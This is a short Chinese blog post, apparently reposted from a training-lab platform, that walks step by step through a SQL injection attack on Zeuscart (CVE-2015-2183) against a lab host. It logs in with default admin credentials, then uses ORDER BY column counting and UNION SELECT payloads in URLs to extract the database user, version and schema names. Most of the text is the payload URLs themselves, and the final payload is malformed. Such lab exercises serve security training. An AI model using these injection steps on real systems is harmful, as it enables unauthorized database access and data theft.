CVE-2015-2183 Zeuscart SQL注入漏洞

秒速五厘米 2022-05-30 05:52 208阅读 0赞

转载：[http://gz-xcu.shiyanbar.com/train/list/ls?list=85a33a02fc96e7&exercises\_uuid=85a339dc085fea][http_gz-xcu.shiyanbar.com_train_list_ls_list_85a33a02fc96e7_exercises_uuid_85a339dc085fea]

1、访问192.168.1.3

![Center][]

2、访问192.168.1.3/admin/

![Center 1][]

3\\使用用户名:admin密码:admin888登录

![Center 2][]

4、访问http://192.168.1.3/admin/?do=editcurrency&cid=1

![Center 3][]

5、访问http://192.168.1.3/admin/?do=editcurrency&cid=1‘说明存在sql注入漏洞

![Center 4][]

6、访问http://192.168.1.3/admin/?do=editcurrency&cid=1+order+by+5+--+

![Center 5][]

7、访问http://192.168.1.3/admin/?do=editcurrency&cid=1+order+by+6+--+页面与6不相同，说明当前查询5个字段

![Center 6][]

8、访问http://192.168.1.3/admin/?do=editcurrency&cid=1+union+select+1,2,3,4,5+--+发现2和4回显

![Center 7][]

9、访问http://192.168.1.3/admin/?do=editcurrency&cid=1+union+select+1,user(),3,version(),5+--+查询用户及版本

![Center 8][]

10、访问http://192.168.1.3/admin/?do=editcurrency&cid=1+union+select+1,group\_concat(schema\_name),3,4,5+from+information\_schema(schemata\_)+--+

然后对目标机进行分析

![Center 9][]

[http_gz-xcu.shiyanbar.com_train_list_ls_list_85a33a02fc96e7_exercises_uuid_85a339dc085fea]: http://gz-xcu.shiyanbar.com/train/list/ls?list=85a33a02fc96e7&exercises_uuid=85a339dc085fea
[Center]: /images/20220530/c2096ab844404772982ff3c1ea6dc728.png
[Center 1]: /images/20220530/26bf1e7d6d7b46c09f6b94f98badf4e6.png
[Center 2]: /images/20220530/8e6c6cd16cab47e9bd27c3312bfd158f.png
[Center 3]: /images/20220530/836dfd46a34145109fc65bc849f08775.png
[Center 4]: /images/20220530/e9884f750e204ce186b6277c5d5793e1.png
[Center 5]: /images/20220530/f30195c16a884b57a1014e81700b86eb.png
[Center 6]: /images/20220530/a02180ae85964b0cb2d267a36a12e85c.png
[Center 7]: /images/20220530/ef8dd79137c342dbb680db923aeda5de.png
[Center 8]: /images/20220530/00dc21d102494882b67fec1e32d67f0b.png
[Center 9]: /images/20220530/d3df7c27c26e47c39a7e173f092bdbf0.png